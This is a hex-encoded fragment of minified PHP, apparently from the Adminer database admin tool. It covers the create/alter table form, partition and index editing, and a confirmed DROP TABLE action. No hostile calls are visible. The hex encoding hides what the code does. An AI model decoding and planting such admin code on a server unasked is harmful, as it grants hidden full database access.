79 28 29 3B 69 66 28 24 61 21 3D 22 22 29 7B 24 62 65 3D 66 69 65 6C 64
73 28 24 61 29 3B 24 52 3D 74 61 62 6C 65 5F 73 74 61 74 75 73 28 24 61
29 3B 69 66 28 21 24 52 29 24 6C 3D 27 4E 6F 20 74 61 62 6C 65 73 2E 27
3B 7D 24 4C 3D 24 5F 50 4F 53 54 3B 24 4C 5B 22 66 69 65 6C 64 73 22 5D
3D 28 61 72 72 61 79 29 24 4C 5B 22 66 69 65 6C 64 73 22 5D 3B 69 66 28
24 4C 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 5F 63 6F 6C 22 5D
29 24 4C 5B 22 66 69 65 6C 64 73 22 5D 5B 24 4C 5B 22 61 75 74 6F 5F 69
6E 63 72 65 6D 65 6E 74 5F 63 6F 6C 22 5D 5D 5B 22 61 75 74 6F 5F 69 6E
63 72 65 6D 65 6E 74 22 5D 3D 74 72 75 65 3B 69 66 28 24 5F 50 4F 53 54
26 26 21 70 72 6F 63 65 73 73 5F 66 69 65 6C 64 73 28 24 4C 5B 22 66 69
65 6C 64 73 22 5D 29 26 26 21 24 6C 29 7B 69 66 28 24 5F 50 4F 53 54 5B
22 64 72 6F 70 22 5D 29 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 22
44 52 4F 50 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65 28 24 61 29 2C 73
75 62 73 74 72 28 4D 45 2C 30 2C 2D 31 29 2C 27 54 61 62 6C 65 20 68 61
73 20 62 65 65 6E 20 64 72 6F 70 70 65 64 2E 27 29 3B 65 6C 73 65 7B 24
6E 3D 61 72 72 61 79 28 29 3B 24 71 61 3D 61 72 72 61 79 28 29 3B 24 6D
67 3D 66 61 6C 73 65 3B 24 6D 63 3D 61 72 72 61 79 28 29 3B 6B 73 6F 72
74 28 24 4C 5B 22 66 69 65 6C 64 73 22 5D 29 3B 24 61 65 3D 72 65 73 65
74 28 24 62 65 29 3B 24 6F 61 3D 22 20 46 49 52 53 54 22 3B 66 6F 72 65
61 63 68 28 24 4C 5B 22 66 69 65 6C 64 73 22 5D 61 73 24 79 3D 3E 24 6D
29 7B 24 6F 3D 24 70 5B 24 6D 5B 22 74 79 70 65 22 5D 5D 3B 24 61 67 3D
28 24 6F 21 3D 3D 6E 75 6C 6C 3F 24 4A 65 5B 24 6F 5D 3A 24 6D 29 3B 69
66 28 24 6D 5B 22 66 69 65 6C 64 22 5D 21 3D 22 22 29 7B 69 66 28 21 24
6D 5B 22 68 61 73 5F 64 65 66 61 75 6C 74 22 5D 29 24 6D 5B 22 64 65 66
61 75 6C 74 22 5D 3D 6E 75 6C 6C 3B 69 66 28 24 79 3D 3D 24 4C 5B 22 61
75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 5F 63 6F 6C 22 5D 29 24 6D 5B 22
61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 3D 74 72 75 65 3B 24 42
65 3D 70 72 6F 63 65 73 73 5F 66 69 65 6C 64 28 24 6D 2C 24 61 67 29 3B
24 71 61 5B 5D 3D 61 72 72 61 79 28 24 6D 5B 22 6F 72 69 67 22 5D 2C 24
42 65 2C 24 6F 61 29 3B 69 66 28 24 42 65 21 3D 70 72 6F 63 65 73 73 5F
66 69 65 6C 64 28 24 61 65 2C 24 61 65 29 29 7B 24 6E 5B 5D 3D 61 72 72
61 79 28 24 6D 5B 22 6F 72 69 67 22 5D 2C 24 42 65 2C 24 6F 61 29 3B 69
66 28 24 6D 5B 22 6F 72 69 67 22 5D 21 3D 22 22 7C 7C 24 6F 61 29 24 6D
67 3D 74 72 75 65 3B 7D 69 66 28 24 6F 21 3D 3D 6E 75 6C 6C 29 24 6D 63
5B 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29
5D 3D 28 24 61 21 3D 22 22 26 26 24 78 21 3D 22 73 71 6C 69 74 65 22 3F
22 41 44 44 22 3A 22 20 22 29 2E 22 20 46 4F 52 45 49 47 4E 20 4B 45 59
20 28 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64
22 5D 29 2E 22 29 20 52 45 46 45 52 45 4E 43 45 53 20 22 2E 74 61 62 6C
65 28 24 70 5B 24 6D 5B 22 74 79 70 65 22 5D 5D 29 2E 22 20 28 22 2E 69
64 66 5F 65 73 63 61 70 65 28 24 61 67 5B 22 66 69 65 6C 64 22 5D 29 2E
22 29 22 2E 28 65 72 65 67 28 22 5E 28 24 4F 64 29 5C 24 22 2C 24 6D 5B
22 6F 6E 5F 64 65 6C 65 74 65 22 5D 29 3F 22 20 4F 4E 20 44 45 4C 45 54
45 20 24 6D 5B 6F 6E 5F 64 65 6C 65 74 65 5D 22 3A 22 22 29 3B 24 6F 61
3D 22 20 41 46 54 45 52 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D
5B 22 66 69 65 6C 64 22 5D 29 3B 7D 65 6C 73 65 69 66 28 24 6D 5B 22 6F
72 69 67 22 5D 21 3D 22 22 29 7B 24 6D 67 3D 74 72 75 65 3B 24 6E 5B 5D
3D 61 72 72 61 79 28 24 6D 5B 22 6F 72 69 67 22 5D 29 3B 7D 69 66 28 24
6D 5B 22 6F 72 69 67 22 5D 21 3D 22 22 29 7B 24 61 65 3D 6E 65 78 74 28
24 62 65 29 3B 69 66 28 21 24 61 65 29 24 6F 61 3D 22 22 3B 7D 7D 24 6B
65 3D 22 22 3B 69 66 28 69 6E 5F 61 72 72 61 79 28 24 4C 5B 22 70 61 72
74 69 74 69 6F 6E 5F 62 79 22 5D 2C 24 69 65 29 29 7B 24 6C 65 3D 61 72
72 61 79 28 29 3B 69 66 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 62
79 22 5D 3D 3D 27 52 41 4E 47 45 27 7C 7C 24 4C 5B 22 70 61 72 74 69 74
69 6F 6E 5F 62 79 22 5D 3D 3D 27 4C 49 53 54 27 29 7B 66 6F 72 65 61 63
68 28 61 72 72 61 79 5F 66 69 6C 74 65 72 28 24 4C 5B 22 70 61 72 74 69
74 69 6F 6E 5F 6E 61 6D 65 73 22 5D 29 61 73 24 79 3D 3E 24 58 29 7B 24
59 3D 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 76 61 6C 75 65 73 22 5D
5B 24 79 5D 3B 24 6C 65 5B 5D 3D 22 5C 6E 20 20 50 41 52 54 49 54 49 4F
4E 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 58 29 2E 22 20 56 41 4C
55 45 53 20 22 2E 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 62 79 22
5D 3D 3D 27 52 41 4E 47 45 27 3F 22 4C 45 53 53 20 54 48 41 4E 22 3A 22
49 4E 22 29 2E 28 24 59 21 3D 22 22 3F 22 20 28 24 59 29 22 3A 22 20 4D
41 58 56 41 4C 55 45 22 29 3B 7D 7D 24 6B 65 2E 3D 22 5C 6E 50 41 52 54
49 54 49 4F 4E 20 42 59 20 24 4C 5B 70 61 72 74 69 74 69 6F 6E 5F 62 79
5D 28 24 4C 5B 70 61 72 74 69 74 69 6F 6E 5D 29 22 2E 28 24 6C 65 3F 22
20 28 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 22 2C 24 6C 65 29 2E 22 5C 6E
29 22 3A 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 73 22 5D 3F 22 20 50
41 52 54 49 54 49 4F 4E 53 20 22 2E 28 2B 24 4C 5B 22 70 61 72 74 69 74
69 6F 6E 73 22 5D 29 3A 22 22 29 29 3B 7D 65 6C 73 65 69 66 28 73 75 70
70 6F 72 74 28 22 70 61 72 74 69 74 69 6F 6E 69 6E 67 22 29 26 26 65 72
65 67 28 22 70 61 72 74 69 74 69 6F 6E 65 64 22 2C 24 52 5B 22 43 72 65
61 74 65 5F 6F 70 74 69 6F 6E 73 22 5D 29 29 24 6B 65 2E 3D 22 5C 6E 52
45 4D 4F 56 45 20 50 41 52 54 49 54 49 4F 4E 49 4E 47 22 3B 24 43 3D 27
54 61 62 6C 65 20 68 61 73 20 62 65 65 6E 20 61 6C 74 65 72 65 64 2E 27
3B 69 66 28 24 61 3D 3D 22 22 29 7B 63 6F 6F 6B 69 65 28 22 61 64 6D 69
6E 65 72 5F 65 6E 67 69 6E 65 22 2C 24 4C 5B 22 45 6E 67 69 6E 65 22 5D
29 3B 24 43 3D 27 54 61 62 6C 65 20 68 61 73 20 62 65 65 6E 20 63 72 65
61 74 65 64 2E 27 3B 7D 24 45 3D 74 72 69 6D 28 24 4C 5B 22 6E 61 6D 65
22 5D 29 3B 71 75 65 72 69 65 73 5F 72 65 64 69 72 65 63 74 28 4D 45 2E
22 74 61 62 6C 65 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 45 29 2C 24
43 2C 61 6C 74 65 72 5F 74 61 62 6C 65 28 24 61 2C 24 45 2C 28 24 78 3D
3D 22 73 71 6C 69 74 65 22 26 26 28 24 6D 67 7C 7C 24 6D 63 29 3F 24 71
61 3A 24 6E 29 2C 24 6D 63 2C 24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 2C
28 24 4C 5B 22 45 6E 67 69 6E 65 22 5D 26 26 24 4C 5B 22 45 6E 67 69 6E
65 22 5D 21 3D 24 52 5B 22 45 6E 67 69 6E 65 22 5D 3F 24 4C 5B 22 45 6E
67 69 6E 65 22 5D 3A 22 22 29 2C 28 24 4C 5B 22 43 6F 6C 6C 61 74 69 6F
6E 22 5D 26 26 24 4C 5B 22 43 6F 6C 6C 61 74 69 6F 6E 22 5D 21 3D 24 52
5B 22 43 6F 6C 6C 61 74 69 6F 6E 22 5D 3F 24 4C 5B 22 43 6F 6C 6C 61 74
69 6F 6E 22 5D 3A 22 22 29 2C 28 24 4C 5B 22 41 75 74 6F 5F 69 6E 63 72
65 6D 65 6E 74 22 5D 21 3D 22 22 3F 2B 24 4C 5B 22 41 75 74 6F 5F 69 6E
63 72 65 6D 65 6E 74 22 5D 3A 22 22 29 2C 24 6B 65 29 29 3B 7D 7D 70 61
67 65 5F 68 65 61 64 65 72 28 28 24 61 21 3D 22 22 3F 27 41 6C 74 65 72
20 74 61 62 6C 65 27 3A 27 43 72 65 61 74 65 20 74 61 62 6C 65 27 29 2C
24 6C 2C 61 72 72 61 79 28 22 74 61 62 6C 65 22 3D 3E 24 61 29 2C 24 61
29 3B 69 66 28 21 24 5F 50 4F 53 54 29 7B 24 4C 3D 61 72 72 61 79 28 22
45 6E 67 69 6E 65 22 3D 3E 24 5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69 6E
65 72 5F 65 6E 67 69 6E 65 22 5D 2C 22 66 69 65 6C 64 73 22 3D 3E 61 72
72 61 79 28 61 72 72 61 79 28 22 66 69 65 6C 64 22 3D 3E 22 22 2C 22 74
79 70 65 22 3D 3E 28 69 73 73 65 74 28 24 63 67 5B 22 69 6E 74 22 5D 29
3F 22 69 6E 74 22 3A 28 69 73 73 65 74 28 24 63 67 5B 22 69 6E 74 65 67
65 72 22 5D 29 3F 22 69 6E 74 65 67 65 72 22 3A 22 22 29 29 29 29 2C 22
70 61 72 74 69 74 69 6F 6E 5F 6E 61 6D 65 73 22 3D 3E 61 72 72 61 79 28
22 22 29 2C 29 3B 69 66 28 24 61 21 3D 22 22 29 7B 24 4C 3D 24 52 3B 24
4C 5B 22 6E 61 6D 65 22 5D 3D 24 61 3B 24 4C 5B 22 66 69 65 6C 64 73 22
5D 3D 61 72 72 61 79 28 29 3B 69 66 28 21 24 5F 47 45 54 5B 22 61 75 74
6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 29 24 4C 5B 22 41 75 74 6F 5F 69
6E 63 72 65 6D 65 6E 74 22 5D 3D 22 22 3B 66 6F 72 65 61 63 68 28 24 62
65 0A 61 73 24 6D 29 7B 24 6D 5B 22 68 61 73 5F 64 65 66 61 75 6C 74 22
5D 3D 69 73 73 65 74 28 24 6D 5B 22 64 65 66 61 75 6C 74 22 5D 29 3B 24
4C 5B 22 66 69 65 6C 64 73 22 5D 5B 5D 3D 24 6D 3B 7D 69 66 28 73 75 70
70 6F 72 74 28 22 70 61 72 74 69 74 69 6F 6E 69 6E 67 22 29 29 7B 24 73
63 3D 22 46 52 4F 4D 20 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68 65
6D 61 2E 50 41 52 54 49 54 49 4F 4E 53 20 57 48 45 52 45 20 54 41 42 4C
45 5F 53 43 48 45 4D 41 20 3D 20 22 2E 71 28 44 42 29 2E 22 20 41 4E 44
20 54 41 42 4C 45 5F 4E 41 4D 45 20 3D 20 22 2E 71 28 24 61 29 3B 24 4A
3D 24 67 2D 3E 71 75 65 72 79 28 22 53 45 4C 45 43 54 20 50 41 52 54 49
54 49 4F 4E 5F 4D 45 54 48 4F 44 2C 20 50 41 52 54 49 54 49 4F 4E 5F 4F
52 44 49 4E 41 4C 5F 50 4F 53 49 54 49 4F 4E 2C 20 50 41 52 54 49 54 49
4F 4E 5F 45 58 50 52 45 53 53 49 4F 4E 20 24 73 63 20 4F 52 44 45 52 20
42 59 20 50 41 52 54 49 54 49 4F 4E 5F 4F 52 44 49 4E 41 4C 5F 50 4F 53
49 54 49 4F 4E 20 44 45 53 43 20 4C 49 4D 49 54 20 31 22 29 3B 6C 69 73
74 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 62 79 22 5D 2C 24 4C 5B
22 70 61 72 74 69 74 69 6F 6E 73 22 5D 2C 24 4C 5B 22 70 61 72 74 69 74
69 6F 6E 22 5D 29 3D 24 4A 2D 3E 66 65 74 63 68 5F 72 6F 77 28 29 3B 24
6C 65 3D 67 65 74 5F 6B 65 79 5F 76 61 6C 73 28 22 53 45 4C 45 43 54 20
50 41 52 54 49 54 49 4F 4E 5F 4E 41 4D 45 2C 20 50 41 52 54 49 54 49 4F
4E 5F 44 45 53 43 52 49 50 54 49 4F 4E 20 24 73 63 20 41 4E 44 20 50 41
52 54 49 54 49 4F 4E 5F 4E 41 4D 45 20 21 3D 20 27 27 20 4F 52 44 45 52
20 42 59 20 50 41 52 54 49 54 49 4F 4E 5F 4F 52 44 49 4E 41 4C 5F 50 4F
53 49 54 49 4F 4E 22 29 3B 24 6C 65 5B 22 22 5D 3D 22 22 3B 24 4C 5B 22
70 61 72 74 69 74 69 6F 6E 5F 6E 61 6D 65 73 22 5D 3D 61 72 72 61 79 5F
6B 65 79 73 28 24 6C 65 29 3B 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F
76 61 6C 75 65 73 22 5D 3D 61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 6C
65 29 3B 7D 7D 7D 24 64 3D 63 6F 6C 6C 61 74 69 6F 6E 73 28 29 3B 24 4F
62 3D 65 6E 67 69 6E 65 73 28 29 3B 66 6F 72 65 61 63 68 28 24 4F 62 0A
61 73 24 4E 62 29 7B 69 66 28 21 73 74 72 63 61 73 65 63 6D 70 28 24 4E
62 2C 24 4C 5B 22 45 6E 67 69 6E 65 22 5D 29 29 7B 24 4C 5B 22 45 6E 67
69 6E 65 22 5D 3D 24 4E 62 3B 62 72 65 61 6B 3B 7D 7D 65 63 68 6F 27 0A
3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22
70 6F 73 74 22 20 69 64 3D 22 66 6F 72 6D 22 3E 0A 3C 70 3E 0A 54 61 62
6C 65 20 6E 61 6D 65 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 6E 61
6D 65 22 20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 20 76 61 6C 75 65
3D 22 27 2C 68 28 24 4C 5B 22 6E 61 6D 65 22 5D 29 2C 27 22 20 61 75 74
6F 63 61 70 69 74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 0A 27 3B 69 66 28
24 61 3D 3D 22 22 26 26 21 24 5F 50 4F 53 54 29 7B 3F 3E 3C 73 63 72 69
70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74
27 3E 66 6F 63 75 73 28 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D
65 6E 74 42 79 49 64 28 27 66 6F 72 6D 27 29 5B 27 6E 61 6D 65 27 5D 29
3B 3C 2F 73 63 72 69 70 74 3E 3C 3F 70 68 70 20 7D 65 63 68 6F 28 24 4F
62 3F 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 45 6E 67 69 6E 65 22 2C 61
72 72 61 79 28 22 22 3D 3E 22 28 22 2E 27 65 6E 67 69 6E 65 27 2E 22 29
22 29 2B 24 4F 62 2C 24 4C 5B 22 45 6E 67 69 6E 65 22 5D 29 3A 22 22 29
2C 27 20 27 2C 28 24 64 26 26 21 65 72 65 67 28 22 73 71 6C 69 74 65 7C
6D 73 73 71 6C 22 2C 24 78 29 3F 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22
43 6F 6C 6C 61 74 69 6F 6E 22 2C 61 72 72 61 79 28 22 22 3D 3E 22 28 22
2E 27 63 6F 6C 6C 61 74 69 6F 6E 27 2E 22 29 22 29 2B 24 64 2C 24 4C 5B
22 43 6F 6C 6C 61 74 69 6F 6E 22 5D 29 3A 22 22 29 2C 27 20 3C 69 6E 70
75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22
53 61 76 65 22 3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E
67 3D 22 30 22 20 69 64 3D 22 65 64 69 74 2D 66 69 65 6C 64 73 22 20 63
6C 61 73 73 3D 22 6E 6F 77 72 61 70 22 3E 0A 27 3B 24 57 61 3D 28 24 5F
50 4F 53 54 3F 24 5F 50 4F 53 54 5B 22 63 6F 6D 6D 65 6E 74 73 22 5D 3A
24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 21 3D 22 22 29 3B 69 66 28 21 24
5F 50 4F 53 54 26 26 21 24 57 61 29 7B 66 6F 72 65 61 63 68 28 24 4C 5B
22 66 69 65 6C 64 73 22 5D 61 73 24 6D 29 7B 69 66 28 24 6D 5B 22 63 6F
6D 6D 65 6E 74 22 5D 21 3D 22 22 29 7B 24 57 61 3D 74 72 75 65 3B 62 72
65 61 6B 3B 7D 7D 7D 65 64 69 74 5F 66 69 65 6C 64 73 28 24 4C 5B 22 66
69 65 6C 64 73 22 5D 2C 24 64 2C 22 54 41 42 4C 45 22 2C 24 70 2C 24 57
61 29 3B 65 63 68 6F 27 3C 2F 74 61 62 6C 65 3E 0A 3C 70 3E 0A 41 75 74
6F 20 49 6E 63 72 65 6D 65 6E 74 3A 20 3C 69 6E 70 75 74 20 74 79 70 65
3D 22 6E 75 6D 62 65 72 22 20 6E 61 6D 65 3D 22 41 75 74 6F 5F 69 6E 63
72 65 6D 65 6E 74 22 20 73 69 7A 65 3D 22 36 22 20 76 61 6C 75 65 3D 22
27 2C 68 28 24 4C 5B 22 41 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D
29 2C 27 22 3E 0A 27 2C 63 68 65 63 6B 62 6F 78 28 22 64 65 66 61 75 6C
74 73 22 2C 31 2C 74 72 75 65 2C 27 44 65 66 61 75 6C 74 20 76 61 6C 75
65 73 27 2C 22 63 6F 6C 75 6D 6E 53 68 6F 77 28 74 68 69 73 2E 63 68 65
63 6B 65 64 2C 20 35 29 22 2C 22 6A 73 6F 6E 6C 79 22 29 3B 69 66 28 21
24 5F 50 4F 53 54 5B 22 64 65 66 61 75 6C 74 73 22 5D 29 7B 65 63 68 6F
27 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61
73 63 72 69 70 74 22 3E 65 64 69 74 69 6E 67 48 69 64 65 44 65 66 61 75
6C 74 73 28 29 3C 2F 73 63 72 69 70 74 3E 27 3B 7D 65 63 68 6F 28 73 75
70 70 6F 72 74 28 22 63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 6C 61 62 65 6C
3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27 20
6E 61 6D 65 3D 27 63 6F 6D 6D 65 6E 74 73 27 20 76 61 6C 75 65 3D 27 31
27 20 63 6C 61 73 73 3D 27 6A 73 6F 6E 6C 79 27 20 6F 6E 63 6C 69 63 6B
3D 5C 22 63 6F 6C 75 6D 6E 53 68 6F 77 28 74 68 69 73 2E 63 68 65 63 6B
65 64 2C 20 36 29 3B 20 74 6F 67 67 6C 65 28 27 43 6F 6D 6D 65 6E 74 27
29 3B 20 69 66 20 28 74 68 69 73 2E 63 68 65 63 6B 65 64 29 20 74 68 69
73 2E 66 6F 72 6D 5B 27 43 6F 6D 6D 65 6E 74 27 5D 2E 66 6F 63 75 73 28
29 3B 5C 22 22 2E 28 24 57 61 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22
29 2E 22 3E 22 2E 27 43 6F 6D 6D 65 6E 74 27 2E 22 3C 2F 6C 61 62 65 6C
3E 22 2E 27 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 43 6F 6D 6D 65 6E
74 22 20 69 64 3D 22 43 6F 6D 6D 65 6E 74 22 20 76 61 6C 75 65 3D 22 27
2E 68 28 24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 29 2E 27 22 20 6D 61 78
6C 65 6E 67 74 68 3D 22 27 2E 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E
66 6F 3E 3D 35 2E 35 3F 32 30 34 38 3A 36 30 29 2E 27 22 27 2E 28 24 57
61 3F 27 27 3A 27 20 63 6C 61 73 73 3D 22 68 69 64 64 65 6E 22 27 29 2E
27 3E 27 3A 27 27 29 2C 27 3C 70 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65
3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 53 61 76 65 22 3E 0A
27 3B 69 66 28 24 5F 47 45 54 5B 22 63 72 65 61 74 65 22 5D 21 3D 22 22
29 7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D
69 74 22 20 6E 61 6D 65 3D 22 64 72 6F 70 22 20 76 61 6C 75 65 3D 22 44
72 6F 70 22 27 2C 63 6F 6E 66 69 72 6D 28 29 2C 27 3E 27 3B 7D 69 66 28
73 75 70 70 6F 72 74 28 22 70 61 72 74 69 74 69 6F 6E 69 6E 67 22 29 29
7B 24 6A 65 3D 65 72 65 67 28 27 52 41 4E 47 45 7C 4C 49 53 54 27 2C 24
4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 62 79 22 5D 29 3B 70 72 69 6E 74
5F 66 69 65 6C 64 73 65 74 28 22 70 61 72 74 69 74 69 6F 6E 22 2C 27 50
61 72 74 69 74 69 6F 6E 20 62 79 27 2C 24 4C 5B 22 70 61 72 74 69 74 69
6F 6E 5F 62 79 22 5D 29 3B 65 63 68 6F 27 3C 70 3E 0A 27 2C 68 74 6D 6C
5F 73 65 6C 65 63 74 28 22 70 61 72 74 69 74 69 6F 6E 5F 62 79 22 2C 61
72 72 61 79 28 2D 31 3D 3E 22 22 29 2B 24 69 65 2C 24 4C 5B 22 70 61 72
74 69 74 69 6F 6E 5F 62 79 22 5D 2C 22 70 61 72 74 69 74 69 6F 6E 42 79
43 68 61 6E 67 65 28 74 68 69 73 29 3B 22 29 2C 27 28 3C 69 6E 70 75 74
20 6E 61 6D 65 3D 22 70 61 72 74 69 74 69 6F 6E 22 20 76 61 6C 75 65 3D
22 27 2C 68 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 22 5D 29 2C 27 22
3E 29 0A 50 61 72 74 69 74 69 6F 6E 73 3A 20 3C 69 6E 70 75 74 20 74 79
70 65 3D 22 6E 75 6D 62 65 72 22 20 6E 61 6D 65 3D 22 70 61 72 74 69 74
69 6F 6E 73 22 20 63 6C 61 73 73 3D 22 73 69 7A 65 22 20 76 61 6C 75 65
3D 22 27 2C 68 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 73 22 5D 29 2C
27 22 27 2C 28 24 6A 65 7C 7C 21 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E
5F 62 79 22 5D 3F 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 3A
22 22 29 2C 27 3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E
67 3D 22 30 22 20 69 64 3D 22 70 61 72 74 69 74 69 6F 6E 2D 74 61 62 6C
65 22 27 2C 28 24 6A 65 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68 69 64
64 65 6E 27 22 29 2C 27 3E 0A 3C 74 68 65 61 64 3E 3C 74 72 3E 3C 74 68
3E 50 61 72 74 69 74 69 6F 6E 20 6E 61 6D 65 3C 74 68 3E 56 61 6C 75 65
73 3C 2F 74 68 65 61 64 3E 0A 27 3B 66 6F 72 65 61 63 68 28 24 4C 5B 22
70 61 72 74 69 74 69 6F 6E 5F 6E 61 6D 65 73 22 5D 61 73 24 79 3D 3E 24
58 29 7B 65 63 68 6F 27 3C 74 72 3E 27 2C 27 3C 74 64 3E 3C 69 6E 70 75
74 20 6E 61 6D 65 3D 22 70 61 72 74 69 74 69 6F 6E 5F 6E 61 6D 65 73 5B
5D 22 20 76 61 6C 75 65 3D 22 27 2E 68 28 24 58 29 2E 27 22 27 2E 28 24
79 3D 3D 63 6F 75 6E 74 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 6E
61 6D 65 73 22 5D 29 2D 31 3F 27 20 6F 6E 63 68 61 6E 67 65 3D 22 70 61
72 74 69 74 69 6F 6E 4E 61 6D 65 43 68 61 6E 67 65 28 74 68 69 73 29 3B
22 27 3A 27 27 29 2E 27 20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D
22 6F 66 66 22 3E 27 2C 27 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65
3D 22 70 61 72 74 69 74 69 6F 6E 5F 76 61 6C 75 65 73 5B 5D 22 20 76 61
6C 75 65 3D 22 27 2E 68 28 24 4C 5B 22 70 61 72 74 69 74 69 6F 6E 5F 76
61 6C 75 65 73 22 5D 5B 24 79 5D 29 2E 27 22 3E 27 3B 7D 65 63 68 6F 27
3C 2F 74 61 62 6C 65 3E 0A 3C 2F 64 69 76 3E 3C 2F 66 69 65 6C 64 73 65
74 3E 0A 27 3B 7D 65 63 68 6F 27 3C 69 6E 70 75 74 20 74 79 70 65 3D 22
68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F 6B 65 6E 22 20 76 61 6C
75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 7D
65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 69 6E 64 65
78 65 73 22 5D 29 29 7B 24 61 3D 24 5F 47 45 54 5B 22 69 6E 64 65 78 65
73 22 5D 3B 24 4A 63 3D 61 72 72 61 79 28 22 50 52 49 4D 41 52 59 22 2C
22 55 4E 49 51 55 45 22 2C 22 49 4E 44 45 58 22 29 3B 24 52 3D 74 61 62
6C 65 5F 73 74 61 74 75 73 28 24 61 2C 74 72 75 65 29 3B 69 66 28 65 72
65 67 69 28 22 4D 79 49 53 41 4D 7C 4D 3F 61 72 69 61 22 2E 28 24 67 2D
3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35 2E 36 3F 22 7C 49 6E 6E 6F
44 42 22 3A 22 22 29 2C 24 52 5B 22 45 6E 67 69 6E 65 22 5D 29 29 24 4A
63 5B 5D 3D 22 46 55 4C 4C 54 45 58 54 22 3B 24 76 3D 69 6E 64 65 78 65
73 28 24 61 29 3B 69 66 28 24 78 3D 3D 22 73 71 6C 69 74 65 22 29 7B 75
6E 73 65 74 28 24 4A 63 5B 30 5D 29 3B 75 6E 73 65 74 28 24 76 5B 22 22
5D 29 3B 7D 24 4C 3D 24 5F 50 4F 53 54 3B 69 66 28 24 5F 50 4F 53 54 26
26 21 24 6C 26 26 21 24 5F 50 4F 53 54 5B 22 61 64 64 22 5D 29 7B 24 72
61 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 4C 5B 22 69 6E
64 65 78 65 73 22 5D 61 73 24 75 29 7B 24 45 3D 24 75 5B 22 6E 61 6D 65
22 5D 3B 69 66 28 69 6E 5F 61 72 72 61 79 28 24 75 5B 22 74 79 70 65 22
5D 2C 24 4A 63 29 29 7B 24 66 3D 61 72 72 61 79 28 29 3B 24 67 64 3D 61
72 72 61 79 28 29 3B 24 73 62 3D 61 72 72 61 79 28 29 3B 24 50 3D 61 72
72 61 79 28 29 3B 6B 73 6F 72 74 28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22
5D 29 3B 66 6F 72 65 61 63 68 28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D
61 73 24 79 3D 3E 24 65 29 7B 69 66 28 24 65 21 3D 22 22 29 7B 24 66 64
3D 24 75 5B 22 6C 65 6E 67 74 68 73 22 5D 5B 24 79 5D 3B 24 72 62 3D 24
75 5B 22 64 65 73 63 73 22 5D 5B 24 79 5D 3B 24 50 5B 5D 3D 69 64 66 5F
65 73 63 61 70 65 28 24 65 29 2E 28 24 66 64 3F 22 28 22 2E 28 2B 24 66
64 29 2E 22 29 22 3A 22 22 29 2E 28 24 72 62 3F 22 20 44 45 53 43 22 3A
22 22 29 3B 24 66 5B 5D 3D 24 65 3B 24 67 64 5B 5D 3D 28 24 66 64 3F 24
